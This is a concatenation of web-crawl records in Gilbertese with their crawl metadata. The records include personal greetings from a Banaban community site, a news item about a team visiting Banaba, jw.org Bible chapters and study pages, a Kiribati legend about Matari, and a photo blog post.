kawakina raoi ainen umam kee.. auara natim ao am koraki ikanne?? Ikai bon arona naba..ti te kamaitoro ngkai ae korakora ao e kan boote hybiscus...tekeraoi moa ma am koraki..sapooo moa kee\nHi there beloved Aunty!! Long time no C kee?? How've you been? kicking uh?? Hey, a uara am family mai ikanne??tskstsk ko a bon kaaina Beru kee..ao e uara abam anne? Oh, e uara moa am funnatoi? shsh..ti a nag miss u riki n tain ara botaki n utu are Tateraka family...e tau ma ai bon norana ni boong rake aikai...anyway, ara katekeraoi nakoimi nte Xmas ao te New year aei....take care gkami kee? luv U all! Bye for now\nlots of luv mai irouia am niece and nephews aikai;\nmauri kain beru ............aura ma Bwauoti ma Erenoo...........ao teokata e uara moa buum ane tebukaa anne............koa aganna naba au kiss ae e hot.................e tau ma tekeraoi naba te makuri .......................","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/banabanvoice.ning.com\/profile\/TeokataTebukaaTeem","date":"2018-03-22T11:32:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647883.57\/warc\/CC-MAIN-20180322112241-20180322132241-00485.warc.gz","language":"gil","language_score":0.9996206164,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 0.9996206164360046}","num_words":500,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.269,"stopwords_ratio":0.208,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Uoua te wiki na nako ao e mwananga ana tiim te RCL nako Banaba imwin kawarakia tabeua ana ministry te tautaeka iaan te marooro ibukin te mwnannaga aio.\nTaabo ake a reke kawarakia imwain te mwananga aio bon te Ministry of Foreign Affairs, Police ao tabeua riki. Kaain te tiim aio bon teuana te kambwana ma i Korea are e kantaningaki bwa ena mwakuria ao nikakoroa nanon te BRC ke te Banaba Rehabilitation Corporation ike e na karaoa ao ni manga katai nikaota aron Banaba imwain te keniken ibukin tanona are te phosphate. N te tiim naba aio ao e taekinan temanna bwa iai kaain RCL, te kambwana ma i Korea ao ai man ana aobiti PM ma i Biti.\nImwin te mwananga aio ao mana ana kariai te tautaeka ni Kiribati ao e kona naba ngkanne ni waki te mwakuri ni katamaroa iaona. Mwakuri aikai bon anaakin mwakoro ni biti, karaoan te kawai ma katamaroan auti ni maeka, katarataran te ran ao ai te ununiki ngkana a bane n ta raoi aona. Kaain te tiim aio bon iai taan rabakau ibuakona n aron temanna te Professor man te Seoul University, tabeman engineers ake ana ibuouboki iaon akae n te tano, te ran ao ai aitibuna ake a tiku imarena kiribwangabwanaga n tain ngkoa anaakia taano ma iaona.\nN raonaki ma anne ao NZ i Kiibati e a tauraoi ni mwnena te air port iaon te abamwakoro aio.\nA bon kabongana te kaibuke ae te Anoai ni kawara ao n oki man te tabo ae Banaba\n*ENGLISH translation to follow","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/e-kawaraki-banaba-iroun-rabi-council-of-leaders","date":"2018-03-18T09:49:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645604.18\/warc\/CC-MAIN-20180318091225-20180318111225-00290.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":260,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.362,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3 Ke e reke kain te kaawa ae karitei, e kabarekaaki, ao e karawawataa te aba!+ 2 E aki kan ongo neiei n te bwanaa teuana,+ ao e aki butimwaea te reirei ni kaetieti teuana.+ E aki onimakina Iehova+ ao e aki kaania ma Atuana.+ 3 Bon raian aika bekorara tokan neiei ake a mena i nanona.+ Boni kameaanti n te bong ana tia motikitaeka neiei. A aki katuka te ri naba teaina bwa a na kangkantia n te ingabong. 4 Boni mwaane aika akiako ma ni mwamwanaa te aba ana burabeti neiei.+ A kamwaraea te bwai ae tabu ana ibonga,*+A karaoa ae iowawa nakon te tua.+ 5 E raoiroi Iehova i nanon te kaawa, ao akea te bure ae e karaoia.+ N te ingabong ae koraki ao e kaotii ana moti,+Bwa a aki kabwaka n aron ootan te ngaina. Ma e aki mamaamaa te aomata ae aki raoiroi.+ 6 \"I kamaunaia natannaomata, ao a tiku n aki kaainaki aia taua ake ni maninganingan te oo. I urui kawaia bwa e aonga n akea temanna ae e na mwananga rinanoia. A a tiku aia kaawa n uruaki ao akea te aomata iai, ao ai akea kaaia.+ 7 I taku, 'Ane ko na boni maakai ao ko na butimwaea te reirei ni kaetieti,'*+Bwa e aonga n aki kamaunaaki ana tabo ni maeka neiei.+ I riai ni kaeta taekan neiei ibukini* baikai ni kabane. Ma a rangi n ingainga riki ni karaoa ae buakaka.+ 8 'Mangaia ae teimatoa ni kantaningaai,'*+ bon ana taeka Iehova,'Ni karokoa te bong are I teirake iai bwa N na anai bwaai ni kuri,*Bwa au moti, N na bon ikotiia natannaomata ao N na ikotiia tautaeka n uea,Bwa N na kabwaroa i aoia bonon nanou, ae uraraken uniu ni kabane.+ Bwa e na kabuekaki te aonnaba ni kabutaa n ain ingaingan nanou.+ 9 Bwa n te tai anne ao N na bita aia taetae botannaomata nakon te taetae ae itiaki,Bwa a aonga n taboa aran Iehova,Ao n taromauria ma te katiteuanaaki.'*+ 10 A na uota te bwaintituaraoi nakoiu man aononi karaanga ake i Itiobia,Te koraki ake a bubutii nakoiu, ae te aine are natiia au aomata aika kamaenakoaki.+ 11 Ko na aki kamaamaeaki n te bongIbukin am mwakuri ni kabane ake ko karitei iai nakoiu,+Bwa n te tai anne N na kamwaawaia mairoum taani kamoamoa aika kainikatonga,Ao ko na aki manga kainikatonga riki n au maunga ae tabu.+ 12 N na kariaia te natannaomata ae nanorinano ma ni mangori bwa e na tiku iroum,+Ao a na kamanoia n aran Iehova. 13 A na aki kakaraoa ae buakaka+ nikiraia tibun Iteraera.+ A na aki taekina te kewe ao e na aki naba kuneaki te newe ae mwamwanaa te aba i wia. A na amwarake ao ni wene, ao akea temanna ae e na kakamaakuia.\"+ 14 Takarua ni kimwareirei ngkoe ae natin Tion te aine!+ Takarua n tokanikai ngkoe ae Iteraera! Kimwareirei ao kakatonga ma nanom ni kabane ngkoe ae natin Ierutarem te aine!+ 15 E a tia Iehova ni kanakoa mairoum te motikitaeka n ekikonako.+ E a tia ni katannakoia aiam.+ E memena iroum Iehova ngkoe ae Uean Iteraera.+ Ko nang aki manga maaka te kabuanibwai teuana.+ 16 N te bong anne ao e na taekinaki ae kangai nakon Ierutarem: \"Tai maaku ngkoe ae Tion.+ Tai kabwakai baim. 17 E memena Iehova ae Atuam iroum.+ E na kakamaiu ngkai boni ngaia Teuare korakora. E na kakatonga ibukim ma te kimwareirei ae bati.+ E na kainabwabu* n ana tangira. E na kimarimari ibukim ma te takarua ni kimwareirei. 18 N na ikotiia te koraki ake a nanokawaki ngkai a aki irii am toa.+ A aki roko iroum ibukina bwa a kabuakakaaki ibukin neienne.+ 19 Noria! N te tai anne ao N na ekiianako te koraki ni kabane ake a karawawatako.+ Ao N na kamaiua ane e turatura+Ao N na ikotiia ni kabane naake a kamaenakoaki.+ N na karikiia bwa te bwai ni kamoamoaaki ao ni karekei atongaia*N aaba nako ake a kamaamaeaki iai. 20 N te tai anne ao N na kariningkami,N te tai are I ikotiingkami iai ni kabane. Bwa N na karekei atongami* ao ni karikingkami bwa te bwai ni kamoamoaaki+ i buakoia botannaomata ni kabane n te aonnaba,Ngkana I ikotiia ni kaokiia i matami ami koraki ake a taenikai,\" bon ana taeka Iehova.+\nTaiani Kabwarabwara Mai Nano\n^ Nora Nanon Taeka.\n^ Ke, \"te kaetaki.\"\n^ Ke, \"katuuaaea neiei ibukini.\"\n^ Ke, \"taotaona nanom n taningaai.\"\n^ Ke tao, \"teirake bwa te tia kaotioti.\"\n^ Ebera, \"toro irouna ma te anga teuana i rarikin te anga teuana.\"\n^ Ke, \"aki karongoa; rau; rauaki.\"\n^ Ebera, \"araia.\"\n^ Ebera, \"arami.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/tebania\/3\/","date":"2018-03-20T21:48:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647545.54\/warc\/CC-MAIN-20180320205242-20180320225242-00544.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":743,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Posted by Amota Eromanga on March 7, 2018 at 5:30 AM|\n(KAOKAN MAEUN MATARI)\nNgke e a reke angin te marurung iroun te unaine aio ao e rinnako ngkanne inanon ana umwana ae bon tau buburana. I mwiin rokirokian raoi umwana arei ao e a kena aontano ao man kaiia atan Matari inanona. E karaua raoi ni kabwaritaake i etana, e kamakii matana ao imwiin te tai ae aki maan ao kai are e a mwanewenewe naba matanriana. Eng, e nako kain ana tabunea! E kabanea teniua te bong n ana tabo ao n arona anne - n aki mamatam, mooi ke matu.\nAkea bwa ngke e koro raoi ana moani bong n tabunea, ao e a otirake naba te bwai teuana man ruan Matari. Ko ataia bwa tera? Bon te koromatang ae e iku are e a tia raoi n taiaki ibukin te tiritiri.\nAkea bwa ni koron ana kaua bong, ao e a manga otirake naba te bwai teuana man te tabo naba arei. E kaurei matana neiei ao n noora te man ae uarereke. Eng, te man anne bon te kekenu - te man are akea tokin amwarakena e ngae ngke e tuakarako rabwatana.\nN te kateniua ni bong are ai bon kataraoana, ao e a okirikaaki rabwatan Matari bwa e a maeu ni korakoran te waaki n tabunea. N okina aio, ao ai bon temanna bwa te TOA NI MWAANE. E kamaura tibuna ao mani inga ma ngaia.\n(RAIRA KAINA MATARI)\nE a manga karaoa naba waana te rooro Matari. Ngke e tia raoi waana ao e a tuanga neiere tibuna bwa e na nako ni kabuubuti i taari. E ata te bwai are e na riki te unaine arei, aingaia are e kataia ni karaua nanon tibuna arei ao man butiia bwa e na aki mwananga. E tokanikai riki nanon Matari ni kan raira kaina aingaia are imwaain mwanangana ao e a anganaki uotana te koromatang are bon raona ngkoa n roko.\nE na tabwara ao are e a kabwaka naba waana te rooro arei ao man taoni waena n ririetana iaon te bike. E aki maan ao akea bwa e a manga roko naba i aan te kaawa arei. Aki tabwara rorobuaka ma a bane naba n otinako mani mwaneabaia ao man ruruon nako aon te bike. Ma ngke e noora aio Matari ao kai are e a aroraanako naba baina are iai ana koromatang iai ao mani katioa rirarikina nako moana ao ni manga reitia nakon ana itera are te iterana. Bon akea riki bwa ti te bora ni mate rorobuaka ake a mwaneaua ni kawain te koromatang anne. Ngkana e a manga kaokia rikaaki ao a manga bora naba ni mate ake i mwaaina. Ai kawara ao ai kananoangara rorobuakan te kaawa anne bwa bon akea temanna ae reke maeuna. N rokona i tinanikun te mwaneaba ao e a karina naba ana koromatang mai aan bukarerena ao man tabekirake ni kabobarakia. E bon rangi ni korakora te mate irouia kaain te kaawa n te tai anne.\nI mwiin anne ao e a okirikaaki Matari nakon mwengana. E rau nanona bwa e a tia n raira kaina ma tibuna irouia kaain te kaawa are a tiritiri mani banga-aomata akekei.\n(E na reitaki - Mwakoro 3)\nCategories: Legends & Myths","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/www.storiesfromkiribati.com\/apps\/blog\/entries\/show\/45481453-karakin-matari-e-kororo-bukin-te-bakoa-are-teaina-mwakoro-2-","date":"2018-03-22T15:17:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647892.89\/warc\/CC-MAIN-20180322151300-20180322171300-00563.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":538,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19 E a manga taetae riki Iehova nakoni Mote ma Aaron ao e taku: 2 \"Aio te tua ae e tua Iehova, 'Tuangia tibun Iteraera bwa a riai ni karekea ibukimi temanna te kao ae uraura ae marurung raoi, ae e aki toabuaka bwain rabwatana+ ao e tuai n toka i aona te amo. 3 Kam na angan Ereata are te ibonga,* ao e na kairia nako tinanikun te kaembwa, ao e na kamateaki i matana. 4 Ao e na anaa raraana teutana Ereata n tabonibaina, ao e na katimtimwa raraana itiua te tai ni kaineta moan te umwa ni botaki.+ 5 Ao e na kabuekaki te kao i matana. E na kabuekaki kunna ao irikona ao raraana ao nakotaarina.+ 6 Ao te ibonga e na anaa mwaangan te kai ae te tiira, te utoba,*+ ao te kunnikai ae uraroo, ao e na karenakoi n te ai are e kabuekaki iai te kao. 7 E na kaitiakii ngkanne kunnikaina te ibonga ao n tebotebo* n te ran, ao imwina e a kona n rin n te kaembwa, ma e na kamwara te ibonga ni karokoa ae bong. 8 \"'E na kaitiakii kunnikaina n te ran ao n tebotebo* n te ran, te aomata are kabueka te kao, ao e na kamwara ni karokoa ae bong. 9 \"'E na bota mannangin te kao anne te mwaane ae itiaki,+ ao e na kaaki i tinanikun te kaembwa n te tabo ae itiaki. Ao e riai ni kawakinaki iroun te botaki n aomata aika tibun Iteraera, ibukini katauraoan te ran are e na kabonganaaki ibukin te kaitiaki.+ Bon te karea ni kabwarabure te baei. 10 E na kaitiakii kunnikaina te aomata are bota mannangin te kao, ao e na kamwara ni karokoa ae bong. \"'E na riki aei bwa te tua ae teimatoa nakoia tibun Iteraera ao te ianena ae maeka i buakoia.+ 11 E na kamwara i nanon itibong ane e ringa te aomata* ae mate.+ 12 E riai te aomata anne ni kaitiakia n te ran* n te katenua ni bong, ao e na itiaki n te kaitiua ni bong. Ma ngkana e aki kaitiakia n te katenua ni bong, ao e na aki itiaki n te kaitiua ni bong. 13 A kamwaraea ana umwanrianna ae tabu* Iehova,+ aomata nako aika ringa rabwatan te aomata* ae mate ao a aki kaitiakiia. E riai ni kamateaki te aomata* anne mai buakoia tibun Iteraera.+ E teimatoa ni kamwara ibukina bwa e aki katimtimwaki i aona te ran ibukin te kaitiaki.+ E teimatoa kamwaraana i aona. 14 \"'Aio te tua ae e na kabonganaaki ngkana e mate te aomata i nanon te umwanrianna: A na bane ni kamwara i nanon itibong ake a rin n te umwanrianna, ao ake a a kamani mena n te umwanrianna. 15 A kamwara nneni bwaai aika tangaina n akea mataia aika kabaeaki i aoia.+ 16 A na kamwara i nanon itibong aomata nako aika mena n te tawaana aika ringa te aomata ae tiringaki n te kabaang, ke rabwatan te aomata ae mate ke riina, ke te ruanimate.+ 17 Ibukini ngkanne te aomata ae kamwara, a riai n anaa teutana mannangin te karea ni kabwarabure are kabuekaki, ao a na kabwaroa i aona te ran are man te koburake n ran, i nanon te boora. 18 E na anaa ngkanne te utoba+ te aomata ae itiaki+ ao e na kateboa n te ran ao ni katimtimmwa i aon te umwanrianna ma nneni bwaai ao aomata* ake iai, ao i aon te aomata are ringa te ri, ke te aomata ae kamateaki, ke rabwatan te mate, ke te ruanimate. 19 Ao te aomata are itiaki e na katimtimmwa i aon te aomata are kamwara n te katenua ni bong ao n te kaitiua ni bong, ao e na kaitiakia man ana bure n te kaitiua ni bong,+ ao e riai ni kaitiakii kunnikaina ao n tebotebo n te ran, ao e na itiaki n te tairiki. 20 \"'Ma te aomata ae kamwara ao e aki kaitiakia, e riai ni kamateaki te aomata* anne mai buakon te botaki n aomata,+ ibukina bwa e kamwaraea ana tabo ae tabu Iehova. E aki katimtimwaki i aona te ran ibukin te kaitiaki, mangaia are e kamwara. 21 \"'E na riki aei bwa te tua ae teimatoa ibukia: E riai ni kaitiakii kunnikaina te aomata ae katimtimwa te ran ibukin te kaitiaki,+ ao e na kamwara ni karokoa ae bong te aomata ae ringa te ran ibukin te kaitiaki. 22 A na kamwara bwaai nako ake e ringi te aomata ae kamwara, ao e na kamwara ni karokoa ae bong te aomata* ae ringi.'\"+\nTaiani Kabwarabwara Mai Nano\n^ Ebera, \"teboka irikona.\"\n^ Ebera, \"teboka irikona.\"\n^ Ebera, \"kaitiakia iai.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/warekaia-iteraera\/19\/","date":"2018-03-24T10:31:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650188.31\/warc\/CC-MAIN-20180324093251-20180324113251-00570.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":761,"character_repetition_ratio":0.089,"word_repetition_ratio":0.016,"special_characters_ratio":0.244,"stopwords_ratio":0.506,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hey bula re! ao kam uara? ti a ragin matai te camp ae nag maga roko aei, ti a bn miss aee? ao ti a urig glenbrook?? anyway, regards to u all kiss yoyo for naomi n me. all da best n ami camping. gobless n takecare! e a nako raoi te camping bwa e a toki te baere te winter??\nMauri mani banan Rabi. Kabara te bure ngkai Ia tiba reply ba e nang kanga ao are timanga aki access nakon Banaban voice n ara computer are ea tiba installed naki n ara library. E koaua anne ba e bon nang maan te tai ao I nang kukurei ngke Ia norikio. Ea boni kara te aba ao ngke airaman ngkai natim?Ngai ae tia boni kara naba n ara makuri aei.\nTao kai akea moa rongorongon ikai ma koa manga reitia mai ikanne ke?","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/banabanvoice.ning.com\/profile\/TiantakeTokareta","date":"2018-03-18T11:39:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645613.9\/warc\/CC-MAIN-20180318110736-20180318130736-00576.warc.gz","language":"gil","language_score":0.9999705553,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"gil_Latn_score\": 0.999970555305481}","num_words":144,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kaokoro te Baibara mani bokin nako te Aro. Akea te boki riki teuana ae e a tia ni kona ni bitii aia koaua aomata aika rangi ni bati i nanon te tai ae rangi ni maan. Akea naba te boki teuana ae e a tia ni karaoaki raoi te ukeuke i aona ao ae bati kabuakakaana.\nN te katoto, a nanououa taan rabakau tabeman bwa a kona n onimakinaki Baibara ni boong aikai aika katotoni koroboki nikawai, ke a aki. E taku temanna te tia rabakau i aon te Aro: \"Ti aki koaua raoi bwa ti kaoka kanoan te koroboki nikawai n te aro ae eti ke ti aki. Bon taiani katoto aika rangi ni bati kairuaia ae angia a koreaki n tienture ake imwina riki, are e oti bwa iai nga ma nga kaokoroia ni kabotauaki ma te koroboki nikawai.\"\nA nanououa tabemwaang n etin raoi te Baibara ni kaineti ma reireiaia n aia Aro. N te katoto, e reireinaki Faizal irouia kaain ana utu aika tiaki Kristian bwa te Baibara bon te boki ae tabu ma e a tia ni bitaki. E taku: \"Ibukin anne, I aki kakoauaia aomata ngkana a kani maroroakina taekan te Baibara nakoiu, bwa bon akea irouia te Baibara nikawai bwa e a tia ni bitaki!\"\nIai te kangaanga ngkana e bitaki ke e aki kanoan te Baibara? Iangoi titiraki aikai: Ko kona n onimakin ana berita aika karaunano te Baibara ibukin taai aika a na roko, ngkana ko aki ataia bwa berita akanne boni kanoan te koroboki nikawai ke tiaki? (I-Rom 15:4) Ko na kani kamanena ana boto n reirei te Baibara ni karaoi iai babaire aika kakawaki ni kaineti ma am mwakuri ni kareketianti, am utu, ke am taromauri, ngkana ngaia bwa Baibara ni boong aikai bon taiani katoto aika bure kaeweaia irouia aomata?\nE ngae ngke ai akea bokin nako te Baibara nikawai, ma ti kona n okiri katotona ake rimoa n ikotaki ma koroboki nikawai aika nga ma nga ake e koreaki iai te Baibara. A kangaa koroboki nikawai akanne ni kawakinaki man te mka, te kakaaitara, ao kataani bitakini kanoaia? E kangaa kawakinaia ni buokiko bwa ko na kakoauaa ae e bon eti te Baibara ane iroum? Iangoi kaekaan titiraki akanne n te rongorongo ae imwina ae taekani kawakinaia.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na4-2016-turai\/kanoan-te-baibara-nikawai\/","date":"2018-03-23T05:55:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648178.42\/warc\/CC-MAIN-20180323044127-20180323064127-00486.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":380,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.389,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aio naba teuana mai buakon au rawetamnei are I raweia inanon au tai ni kaea tabon te Uaabu are i Betio, mai Bikenibeu. E rangi n rau te tai ao te tabo anne bwa akea aomata ke kaa ni buti are a kona n tutuki ke ni karinraa n au tai n rawetamnei – bukina bwa te moaningabong.\nI aki kabwarabwara bwa ia te tabo aio ma ko a bon taekinna n te comment ngkana ko kina.\nTera te tamaroa ikai? Te rau, te itiaki, te ang ae mwaitoro mai tanrake riki ngkai e tuai matoa te riringa (are I namakinna), te mwawawa n akea te ribwanono ao tao iai riki. Karawa e riki bwa te tia kaotarai raoi taian objects akana n te front. Irarikin anne ao e bon anga naba te kara ae buru-maii ao otana ae itiaki mani kakukurei.\nTe original bon 4608 x 2377 pixels ma rawatana ae 8.23 MB. N aron ae ko a tia n ataia ao I ti kakatoka te seize ae 1280 pels.\nNote: \"Ngkana iai te tabo ke te bwai (ti iaon Tarawa) ae ko kainanoa noran tamneina ao kaongoira bwa ti na raweia ibukim (n akean te kangaanga iai). N tiana ao ti a manga katoka ikai ibukin norana ao te mamataku\"\nKo rabwa ao tera ara tamnei ngkanne are i mwiina?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/aerophotoblog.com\/2017\/11\/03\/bpa-transmitter-nanikai\/","date":"2018-03-25T01:38:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651481.98\/warc\/CC-MAIN-20180325005509-20180325025509-00591.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":217,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A bati baika a kona ni karaoi roroo n rikirake n ana botaki Iehova. Mataku n te taamnei ae Te Maiu ae te Kabanea n Tamaroa ao nora iai aron Cameron ni kabongana raoi maiuna n roro n rikirake. Imwina kaekai titiraki aikai. (Nakon jw.org ao nora BIBLE TEACHINGS › TEENAGERS.)\nTera te bwai ae kakawaki ni maiun Cameron?\nN ningai ao n te aro raa ae e iangoia iai bwa e na karababaa ana mwakuri ni minita?\nE kangaa ni katauraoia bwa e na beku n te aba teuana ae kainnanoaki riki iai te ibuobuoki?\nBaikara kangaanga ake e kaaitarai Cameron n ana tai ni beku n te aba ae raroa?\nE aera bwa bon te kakabwaia te beku ibukin Iehova n te tabo ke te aono ae ti tuai mani mwakuri iai?\nBaikara kakabwaia ake e karekei Cameron?\nE aera bwa te maiu ae te kabanea n tamaroa te beku ibukin Iehova?\nBaikara baika a kona ni karaoi riki rooro n rikirake n ana botaki Iehova?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/beberuare-2016-mwb\/kaetieti-ibukin-te-botaki-beb15-21\/te-maiu-ae-te-kabanea-n-tamaroa\/","date":"2018-03-21T23:12:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647706.69\/warc\/CC-MAIN-20180321215410-20180321235410-00798.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":167,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) March 2015\nIai n te maekatin aei te kaongora ibukin te reirei ae bwain Mei 4 nakon 31, 2015.\nRONGORONGONI MAIUNA\nDavid ma Gwen Cartwright ngke a totoa ni mwaie ngkoa, ma ngkai a kabonganai waeia ibukin te mwakuri ae tamaroa riki\nBukin tera bwa a taekinaki n taai aika bati n ara boki rongorongon te Baibara n te aro ae bebete ao ni mataata?\nWareka ana kaikonaki Iesu ae ti a ota raoi iai ae taekaia ataeinnaine aika tengaun are e a kaatuuaki iai rongorongo aika bebete ao ni kakawaki.\nN ririki aika nako ao a rang katuruturuaki riki taekan banna ao bannani banna n ara boki, ma ngkai a aikoa bati n taekinaki. E kanga n riki anne?\nN te kaongora aei ao e a kaboouaki iai otara n te kaikonaki ae te tarena.\nTera aroia te koraki ake a motikaki taekaia irouni Kristo bwa tiibu ni boutokaiia tarina?\nA kakukureia nanon te Atua te koraki ake a nanomwaaka n iri ana reirei ni kairiri ao a kakabwaiaaki iai.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150315\/","date":"2018-03-17T12:58:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645069.15\/warc\/CC-MAIN-20180317120247-20180317140247-00203.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":173,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E A BUNGIAKI AO N ARANAKI IOANE TE TIA BWABETITO\nE A KAMAN TAEKINA TABEN IOANE N TE TAI AE E NA ROKO TEKARIA\nE a kaan ana tai ni bung Eritabeta. E tiku i rarikina ana koraki ae Maria i nanon tenua namwakaina. E a roko te tai are e nangi mwananga iai Maria nako meang n te kawai ae abwabwaki nakoni mwengana i Natareta. Tao i nanon onoua riki namwakaina ao e nangi bungia naba natina.\nE aki maan imwin nakoni Maria ao e a bung Eritabeta. Ai kakimwareireira ngkai e nakoraoi bungin Eritabeta bwa e marurung raoi ma natina! E rangi ni kukurei Eritabeta ma kaain rarikina ao ana koraki ngke e kaota natina nakoia.\nE taekinaki n ana Tua te Atua nakoia tibun Iteraera bwa e riai ni korotobibiaki te nati te mwaane ao n aranaki n te kawanibong imwini bungiakina. (Nakoaia Ibonga 12:2, 3) A iangoia tabeman bwa e riai n ingoanaki te teei n aran tamana. Ma e taku Eritabeta: \"E aki! bwa e na aranaki bwa Ioane.\" (Ruka 1:60) Uringnga ngkoa are e taekinna te anera are Kabiriera bwa e riai n aranaki te teei bwa Ioane.\nA un kaain rarikina ma ana koraki ao a taku: \"Akea ae arana anne i buakoia am koraki.\" (Ruka 1:61) A taetae ni baia n titirakina Tekaria bwa antai aran natina ae e tangiria. E tuatua te baba ni koroboki Tekaria ao e korea iai ae kangai: \"Ioane arana.\"—Ruka 1:63.\nImwin anne e a okira arona ni kona n taetae Tekaria n te aro ni kakai. Ko bae n uringnga are e aki kona n taetae ngke e aki kakoauaa te baere e taekinna te anera are e na riki natin Eritabeta ae te mwaane. Ngaia are a mimi kaain rarikina ngke e a manga taetae Tekaria ao a a taetae i bon irouia ni kangai: \"E na riki bwa antai te teei aei?\" (Ruka 1:66) A a nora mwaakan te Atua n aroni katokaan aran Ioane.\nE taekina ae kangai Tekaria imwina ngke e kaonaki n te taamnei ae raoiroi: \"E na karaoiroaki Iehova ae Atuan Iteraera bwa e nanoangaiia ana aomata ma ni kamaiuia. E karikirakea te koro ni kamaiu ibukira n ana utu Tawita are ana toro.\" (Ruka 1:68, 69) \"Te koro ni kamaiu\" are e taekinna bon taekan te Uea are Iesu are e nangi bungiaki. E taekinna Tekaria bwa rinanon Teuanne ao E na 'akoira te Atua imwini kamaiuara mai nanoni baia akana kairiribai nakoira, ao ni kariaia bwa ti na ninikoria n taromauria, ao ni kaota te kakaonimaki ni koaua ma ni bwabwaina te eti i matana n ara bong ni kabane.'—Ruka 1:74, 75.\nE taetae ni burabeti Tekaria ibukin natina ni kangai: \"Ngkoe ae te teei, ko na aranaki bwa ana burabeti Teuare Moan te Rietata, bwa ko na rimoan Iehova ni katauraoi kawaina, ma n angania ana aomata te atatai ae e na 